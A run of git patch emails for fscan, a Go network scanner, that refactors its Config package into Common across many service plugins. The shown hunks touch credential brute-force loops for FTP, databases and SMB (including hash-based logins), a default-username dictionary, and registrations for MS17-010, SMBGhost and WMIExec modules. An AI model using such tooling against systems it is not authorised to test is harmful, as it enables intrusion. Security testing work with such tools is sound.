15:25:41 +0800 Subject: [PATCH 48/80] =?UTF-8?q?version:=202.0.0=E7=89=88=E6=9C=AC?= =?UTF-8?q?=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Common/Config.go b/Common/Config.go index 6dd46ae..580d1a2 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -1,6 +1,6 @@ package Common -var version = "1.8.4" +var version = "2.0.0" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, From 0cfbf40baf5a1d4f4c3b2cc4f3fdde248173df13 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 16:11:04 +0800 Subject: [PATCH 49/80] =?UTF-8?q?fix:=20Log.go=E6=96=87=E4=BB=B6=E7=9A=84?= =?UTF-8?q?=E5=B7=B2=E7=9F=A5=E9=94=99=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Log.go | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/Common/Log.go b/Common/Log.go index 5669298..c76f9a8 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -145,19 +145,14 @@ func CheckErrs(err error) bool { // 已知错误列表 errs := []string{ - "远程主机关闭连接", - "连接数过多", - "连接超时", - "EOF", - "连接尝试失败", - "建立连接失败", - "无法连接", - "无法读取数据", - "不允许连接", - "无pg_hba.conf配置项", - "无法建立连接", - "无效的数据包大小", - "连接异常", + "closed by the remote host", "too many connections", + "i/o timeout", "EOF", "A connection attempt failed", + "established connection failed", "connection attempt failed", + "Unable to read", "is not allowed to connect to this", + "no pg_hba.conf entry", + "No connection could be made", + "invalid packet size", + "bad connection", } // 检查错误是否匹配 From c8687827ac8c4ff4f43a96aa089d0466b07cbbe5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 16:15:53 +0800 Subject: [PATCH 50/80] =?UTF-8?q?refacor:=20=E7=BB=93=E6=9E=84=E5=8C=96?= =?UTF-8?q?=E4=BF=AE=E6=94=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 3 +-- Common/Parse.go | 15 +++++++------ {Config => Common}/Types.go | 2 +- Core/Registry.go | 42 ++++++++++++++++++------------------- Core/Scanner.go | 13 ++++++------ Plugins/FTP.go | 5 ++--- Plugins/FcgiScan.go | 3 +-- Plugins/FindNet.go | 5 ++--- Plugins/LocalInfo.go | 3 +-- Plugins/MS17010-Exp.go | 3 +-- Plugins/MS17010.go | 5 ++--- Plugins/MSSQL.go | 5 ++--- Plugins/Memcached.go | 3 +-- Plugins/Mongodb.go | 5 ++--- Plugins/MySQL.go | 5 ++--- Plugins/NetBIOS.go | 7 +++---- Plugins/Oracle.go | 5 ++--- Plugins/Postgres.go | 5 ++--- Plugins/RDP.go | 3 +-- Plugins/Redis.go | 7 +++---- Plugins/SMB.go | 7 +++---- Plugins/SMB2.go | 15 +++++++------ Plugins/SSH.go | 5 ++--- Plugins/SmbGhost.go | 5 ++--- Plugins/WMIExec.go | 5 ++--- Plugins/WebTitle.go | 7 +++---- Plugins/fcgiscan.go | 3 +-- WebScan/WebScan.go | 3 +-- main.go | 3 +-- 29 files changed, 85 insertions(+), 112 deletions(-) rename {Config => Common}/Types.go (97%) diff --git a/Common/Flag.go b/Common/Flag.go index bdbf244..505dd79 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -2,7 +2,6 @@ package Common import ( "flag" - "github.com/shadow1ng/fscan/Config" ) func Banner() { @@ -17,7 +16,7 @@ func Banner() { print(banner) } -func Flag(Info *Config.HostInfo) { +func Flag(Info *HostInfo) { Banner() // 目标配置 diff --git a/Common/Parse.go b/Common/Parse.go index 114a3df..1dab7f6 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -5,14 +5,13 @@ import ( "encoding/hex" "flag" "fmt" - "github.com/shadow1ng/fscan/Config" "net/url" "os" "strconv" "strings" ) -func Parse(Info *Config.HostInfo) { +func Parse(Info *HostInfo) { ParseUser() ParsePass(Info) ParseInput(Info) @@ -63,7 +62,7 @@ func ParseUser() error { } // ParsePass 解析密码、哈希值、URL和端口配置 -func ParsePass(Info *Config.HostInfo) error { +func ParsePass(Info *HostInfo) error { // 处理直接指定的密码列表 var pwdList []string if Password != "" { @@ -204,7 +203,7 @@ func Readfile(filename string) ([]string, error) { } // ParseInput 解析和验证输入参数配置 -func ParseInput(Info *Config.HostInfo) error { +func ParseInput(Info *HostInfo) error { // 检查必要的目标参数 if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { fmt.Println("[!] 未指定扫描目标") @@ -321,7 +320,7 @@ func ParseInput(Info *Config.HostInfo) error { } // ParseScantype 解析扫描类型并设置对应的端口 -func ParseScantype(Info *Config.HostInfo) error { +func ParseScantype(Info *HostInfo) error { // 先处理特殊扫描类型 specialTypes := map[string]string{ "hostname": "135,137,139,445", @@ -344,7 +343,7 @@ func ParseScantype(Info *Config.HostInfo) error { } // 检查是否是注册的插件类型 - plugin, validType := Config.PluginManager[Scantype] + plugin, validType := PluginManager[Scantype] if !validType { showmode() return fmt.Errorf("无效的扫描类型: %s", Scantype) @@ -368,7 +367,7 @@ func showmode() { // 显示常规服务扫描类型 fmt.Println("\n[+] 常规服务扫描:") - for name, plugin := range Config.PluginManager { + for name, plugin := range PluginManager { if plugin.Port > 0 && plugin.Port < 1000000 { fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) } @@ -376,7 +375,7 @@ func showmode() { // 显示特殊漏洞扫描类型 fmt.Println("\n[+] 特殊漏洞扫描:") - for name, plugin := range Config.PluginManager { + for name, plugin := range PluginManager { if plugin.Port >= 1000000 || plugin.Port == 0 { fmt.Printf(" - %-10s\n", name) } diff --git a/Config/Types.go b/Common/Types.go similarity index 97% rename from Config/Types.go rename to Common/Types.go index aa6a420..948e744 100644 --- a/Config/Types.go +++ b/Common/Types.go @@ -1,5 +1,5 @@ // Config/types.go -package Config +package Common type HostInfo struct { Host string diff --git a/Core/Registry.go b/Core/Registry.go index cae17c8..daafa2a 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -1,128 +1,128 @@ package Core import ( - "github.com/shadow1ng/fscan/Config" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Plugins" ) func init() { // 注册标准端口服务扫描 - Config.RegisterPlugin("ftp", Config.ScanPlugin{ + Common.RegisterPlugin("ftp", Common.ScanPlugin{ Name: "FTP", Port: 21, ScanFunc: Plugins.FtpScan, }) - Config.RegisterPlugin("ssh", Config.ScanPlugin{ + Common.RegisterPlugin("ssh", Common.ScanPlugin{ Name: "SSH", Port: 22, ScanFunc: Plugins.SshScan, }) - Config.RegisterPlugin("findnet", Config.ScanPlugin{ + Common.RegisterPlugin("findnet", Common.ScanPlugin{ Name: "FindNet", Port: 135, ScanFunc: Plugins.Findnet, }) - Config.RegisterPlugin("netbios", Config.ScanPlugin{ + Common.RegisterPlugin("netbios", Common.ScanPlugin{ Name: "NetBIOS", Port: 139, ScanFunc: Plugins.NetBIOS, }) - Config.RegisterPlugin("smb", Config.ScanPlugin{ + Common.RegisterPlugin("smb", Common.ScanPlugin{ Name: "SMB", Port: 445, ScanFunc: Plugins.SmbScan, }) - Config.RegisterPlugin("mssql", Config.ScanPlugin{ + Common.RegisterPlugin("mssql", Common.ScanPlugin{ Name: "MSSQL", Port: 1433, ScanFunc: Plugins.MssqlScan, }) - Config.RegisterPlugin("oracle", Config.ScanPlugin{ + Common.RegisterPlugin("oracle", Common.ScanPlugin{ Name: "Oracle", Port: 1521, ScanFunc: Plugins.OracleScan, }) - Config.RegisterPlugin("mysql", Config.ScanPlugin{ + Common.RegisterPlugin("mysql", Common.ScanPlugin{ Name: "MySQL", Port: 3306, ScanFunc: Plugins.MysqlScan, }) - Config.RegisterPlugin("rdp", Config.ScanPlugin{ + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Port: 3389, ScanFunc: Plugins.RdpScan, }) - Config.RegisterPlugin("postgres", Config.ScanPlugin{ + Common.RegisterPlugin("postgres", Common.ScanPlugin{ Name: "PostgreSQL", Port: 5432, ScanFunc: Plugins.PostgresScan, }) - Config.RegisterPlugin("redis", Config.ScanPlugin{ + Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", Port: 6379, ScanFunc: Plugins.RedisScan, }) - Config.RegisterPlugin("fcgi", Config.ScanPlugin{ + Common.RegisterPlugin("fcgi", Common.ScanPlugin{ Name: "FastCGI", Port: 9000, ScanFunc: Plugins.FcgiScan, }) - Config.RegisterPlugin("memcached", Config.ScanPlugin{ + Common.RegisterPlugin("memcached", Common.ScanPlugin{ Name: "Memcached", Port: 11211, ScanFunc: Plugins.MemcachedScan, }) - Config.RegisterPlugin("mongodb", Config.ScanPlugin{ + Common.RegisterPlugin("mongodb", Common.ScanPlugin{ Name: "MongoDB", Port: 27017, ScanFunc: Plugins.MongodbScan, }) // 注册特殊扫描类型 - Config.RegisterPlugin("ms17010", Config.ScanPlugin{ + Common.RegisterPlugin("ms17010", Common.ScanPlugin{ Name: "MS17010", Port: 445, ScanFunc: Plugins.MS17010, }) - Config.RegisterPlugin("smbghost", Config.ScanPlugin{ + Common.RegisterPlugin("smbghost", Common.ScanPlugin{ Name: "SMBGhost", Port: 445, ScanFunc: Plugins.SmbGhost, }) - Config.RegisterPlugin("web", Config.ScanPlugin{ + Common.RegisterPlugin("web", Common.ScanPlugin{ Name: "WebTitle", Port: 0, ScanFunc: Plugins.WebTitle, }) - Config.RegisterPlugin("smb2", Config.ScanPlugin{ + Common.RegisterPlugin("smb2", Common.ScanPlugin{ Name: "SMBScan2", Port: 445, ScanFunc: Plugins.SmbScan2, }) - Config.RegisterPlugin("wmiexec", Config.ScanPlugin{ + Common.RegisterPlugin("wmiexec", Common.ScanPlugin{ Name: "WMIExec", Port: 135, ScanFunc: Plugins.WmiExec, }) - Config.RegisterPlugin("localinfo", Config.ScanPlugin{ + Common.RegisterPlugin("localinfo", Common.ScanPlugin{ Name: "LocalInfo", Port: 0, ScanFunc: Plugins.LocalInfoScan, diff --git a/Core/Scanner.go b/Core/Scanner.go index 9f97564..5267860 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -3,14 +3,13 @@ package Core import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "strconv" "strings" "sync" ) -func Scan(info Config.HostInfo) { +func Scan(info Common.HostInfo) { fmt.Println("[*] 开始信息扫描...") // 本地信息收集模块 @@ -110,7 +109,7 @@ func executeScanStrategy(Hosts []string, scanType string) []string { } // executeScanTasks 执行扫描任务 -func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { +func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { if scanType == "all" || scanType == "main" { // 根据端口选择扫描插件 switch info.Ports { @@ -126,7 +125,7 @@ func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, AddScan("fcgi", info, ch, wg) default: // 查找对应端口的插件 - for name, plugin := range Config.PluginManager { + for name, plugin := range Common.PluginManager { if strconv.Itoa(plugin.Port) == info.Ports { AddScan(name, info, ch, wg) return @@ -145,7 +144,7 @@ func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, var Mutex = &sync.Mutex{} // AddScan 添加扫描任务到并发队列 -func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 获取信号量,控制并发数 *ch <- struct{}{} // 添加等待组计数 @@ -174,7 +173,7 @@ func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync. } // ScanFunc 执行扫描插件 -func ScanFunc(name *string, info *Config.HostInfo) { +func ScanFunc(name *string, info *Common.HostInfo) { defer func() { if err := recover(); err != nil { fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) @@ -182,7 +181,7 @@ func ScanFunc(name *string, info *Config.HostInfo) { }() // 检查插件是否存在 - plugin, exists := Config.PluginManager[*name] + plugin, exists := Common.PluginManager[*name] if !exists { fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) return diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 905a7e9..a13dc66 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -4,13 +4,12 @@ import ( "fmt" "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // FtpScan 执行FTP服务扫描 -func FtpScan(info *Config.HostInfo) (tmperr error) { +func FtpScan(info *Common.HostInfo) (tmperr error) { // 如果已开启暴力破解则直接返回 if Common.IsBrute { return @@ -62,7 +61,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { } // FtpConn 建立FTP连接并尝试登录 -func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { +func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { Host, Port, Username, Password := info.Host, info.Ports, user, pass // 建立FTP连接 diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index 28b0e85..90165f1 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -7,7 +7,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "strconv" "strings" @@ -20,7 +19,7 @@ import ( //https://github.com/wofeiwo/webcgi-exploits // FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Config.HostInfo) error { +func FcgiScan(info *Common.HostInfo) error { // 如果设置了暴力破解模式则跳过 if Common.IsBrute { return nil diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 1743bb6..63f8190 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -5,7 +5,6 @@ import ( "encoding/hex" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strconv" "strings" "time" @@ -19,13 +18,13 @@ var ( ) // Findnet 探测Windows网络主机信息的入口函数 -func Findnet(info *Config.HostInfo) error { +func Findnet(info *Common.HostInfo) error { fmt.Println("[+] FindNet扫描模块开始...") return FindnetScan(info) } // FindnetScan 通过RPC协议扫描网络主机信息 -func FindnetScan(info *Config.HostInfo) error { +func FindnetScan(info *Common.HostInfo) error { // 连接目标RPC端口 target := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) diff --git a/Plugins/LocalInfo.go b/Plugins/LocalInfo.go index 285dab1..9e57df8 100644 --- a/Plugins/LocalInfo.go +++ b/Plugins/LocalInfo.go @@ -3,7 +3,6 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "os" "path/filepath" "runtime" @@ -89,7 +88,7 @@ var ( } ) -func LocalInfoScan(info *Config.HostInfo) (err error) { +func LocalInfoScan(info *Common.HostInfo) (err error) { fmt.Println("[+] LocalInfo扫描模块开始...") home, err := os.UserHomeDir() if err != nil { diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index f537271..c88d384 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -6,7 +6,6 @@ import ( "encoding/hex" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "io/ioutil" "net" @@ -15,7 +14,7 @@ import ( ) // MS17010EXP 执行MS17-010漏洞利用 -func MS17010EXP(info *Config.HostInfo) { +func MS17010EXP(info *Common.HostInfo) { address := info.Host + ":445" var sc string diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 8c9713b..d80b15c 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -6,7 +6,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "log" "strings" "time" @@ -83,7 +82,7 @@ func init() { } // MS17010 扫描入口函数 -func MS17010(info *Config.HostInfo) error { +func MS17010(info *Common.HostInfo) error { // 暴力破解模式下跳过扫描 if Common.IsBrute { return nil @@ -100,7 +99,7 @@ func MS17010(info *Config.HostInfo) error { } // MS17010Scan 执行MS17-010漏洞扫描 -func MS17010Scan(info *Config.HostInfo) error { +func MS17010Scan(info *Common.HostInfo) error { ip := info.Host // 连接目标445端口 diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 0aa4f00..4df1e36 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -5,13 +5,12 @@ import ( "fmt" _ "github.com/denisenkom/go-mssqldb" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MssqlScan 执行MSSQL服务扫描 -func MssqlScan(info *Config.HostInfo) (tmperr error) { +func MssqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func MssqlScan(info *Config.HostInfo) (tmperr error) { } // MssqlConn 尝试MSSQL连接 -func MssqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index ba285ba..76a8f17 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -3,13 +3,12 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MemcachedScan 检测Memcached未授权访问 -func MemcachedScan(info *Config.HostInfo) error { +func MemcachedScan(info *Common.HostInfo) error { fmt.Println("[+] Memcached扫描模块开始...") realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index cc1e378..95b3ba4 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -3,13 +3,12 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MongodbScan 执行MongoDB未授权扫描 -func MongodbScan(info *Config.HostInfo) error { +func MongodbScan(info *Common.HostInfo) error { if Common.IsBrute { return nil } @@ -25,7 +24,7 @@ func MongodbScan(info *Config.HostInfo) error { } // MongodbUnauth 检测MongoDB未授权访问 -func MongodbUnauth(info *Config.HostInfo) (bool, error) { +func MongodbUnauth(info *Common.HostInfo) (bool, error) { // MongoDB查询数据包 msgPacket := createOpMsgPacket() queryPacket := createOpQueryPacket() diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 4703045..17334e8 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -5,13 +5,12 @@ import ( "fmt" _ "github.com/go-sql-driver/mysql" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MysqlScan 执行MySQL服务扫描 -func MysqlScan(info *Config.HostInfo) (tmperr error) { +func MysqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func MysqlScan(info *Config.HostInfo) (tmperr error) { } // MysqlConn 尝试MySQL连接 -func MysqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index e96d827..2d8a0ed 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -5,7 +5,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "gopkg.in/yaml.v3" "net" "strconv" @@ -15,7 +14,7 @@ import ( var errNetBIOS = errors.New("netbios error") -func NetBIOS(info *Config.HostInfo) error { +func NetBIOS(info *Common.HostInfo) error { fmt.Println("[+] NetBIOS扫描模块开始...") netbios, _ := NetBIOS1(info) output := netbios.String() @@ -28,7 +27,7 @@ func NetBIOS(info *Config.HostInfo) error { return errNetBIOS } -func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { +func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) { netbios, err = GetNbnsname(info) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { @@ -87,7 +86,7 @@ func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { return } -func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) { +func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index b628fa1..2d98a60 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -4,14 +4,13 @@ import ( "database/sql" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" _ "github.com/sijms/go-ora/v2" "strings" "time" ) // OracleScan 执行Oracle服务扫描 -func OracleScan(info *Config.HostInfo) (tmperr error) { +func OracleScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func OracleScan(info *Config.HostInfo) (tmperr error) { } // OracleConn 尝试Oracle连接 -func OracleConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index 12058c5..33b1314 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -5,13 +5,12 @@ import ( "fmt" _ "github.com/lib/pq" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // PostgresScan 执行PostgreSQL服务扫描 -func PostgresScan(info *Config.HostInfo) (tmperr error) { +func PostgresScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func PostgresScan(info *Config.HostInfo) (tmperr error) { } // PostgresConn 尝试PostgreSQL连接 -func PostgresConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 4fe1812..9763705 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -4,7 +4,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" "github.com/tomatome/grdp/protocol/nla" @@ -30,7 +29,7 @@ type Brutelist struct { } // RdpScan 执行RDP服务扫描 -func RdpScan(info *Config.HostInfo) (tmperr error) { +func RdpScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 27d912a..7dfd978 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -4,7 +4,6 @@ import ( "bufio" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "net" "os" @@ -18,7 +17,7 @@ var ( ) // RedisScan 执行Redis服务扫描 -func RedisScan(info *Config.HostInfo) (tmperr error) { +func RedisScan(info *Common.HostInfo) (tmperr error) { fmt.Println("[+] Redis扫描模块开始...") starttime := time.Now().Unix() @@ -60,7 +59,7 @@ func RedisScan(info *Config.HostInfo) (tmperr error) { } // RedisConn 尝试Redis连接 -func RedisConn(info *Config.HostInfo, pass string) (bool, error) { +func RedisConn(info *Common.HostInfo, pass string) (bool, error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) // 建立TCP连接 @@ -108,7 +107,7 @@ func RedisConn(info *Config.HostInfo, pass string) (bool, error) { } // RedisUnauth 尝试Redis未授权访问检测 -func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { +func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) diff --git a/Plugins/SMB.go b/Plugins/SMB.go index a7b115b..8f9f351 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -4,14 +4,13 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/stacktitan/smb/smb" "strings" "time" ) // SmbScan 执行SMB服务的认证扫描 -func SmbScan(info *Config.HostInfo) (tmperr error) { +func SmbScan(info *Common.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if Common.IsBrute { return nil @@ -67,7 +66,7 @@ func SmbScan(info *Config.HostInfo) (tmperr error) { } // SmblConn 尝试建立SMB连接并进行认证 -func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { +func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false // 配置SMB连接选项 @@ -95,7 +94,7 @@ func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struc } // doWithTimeOut 执行带超时的SMB连接认证 -func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, err error) { +func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) // 在goroutine中执行SMB连接 diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index aca01be..3bfcd29 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -3,7 +3,6 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "net" "os" "strings" @@ -13,7 +12,7 @@ import ( ) // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 -func SmbScan2(info *Config.HostInfo) (tmperr error) { +func SmbScan2(info *Common.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if Common.IsBrute { @@ -34,7 +33,7 @@ func SmbScan2(info *Config.HostInfo) (tmperr error) { } // smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { +func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error { for _, user := range Common.Userdict["smb"] { for _, hash := range Common.HashBytes { success, err, printed := Smb2Con(info, user, "", hash, hasprint) @@ -63,7 +62,7 @@ func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { } // smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error { +func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error { for _, user := range Common.Userdict["smb"] { for _, pass := range Common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) @@ -93,7 +92,7 @@ func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) erro } // logSuccessfulAuth 记录成功的认证 -func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { +func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { var result string if Common.Domain != "" { result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", @@ -112,7 +111,7 @@ func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { } // logFailedAuth 记录失败的认证 -func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err error) { +func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", @@ -139,7 +138,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool { } // Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 -func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { +func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(Common.Timeout)*time.Second) @@ -202,7 +201,7 @@ func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, haspr } // logShareInfo 记录SMB共享信息 -func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, shares []string) { +func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { var result string // 构建基础信息 diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 37ef053..6a6d319 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -3,7 +3,6 @@ package Plugins import ( 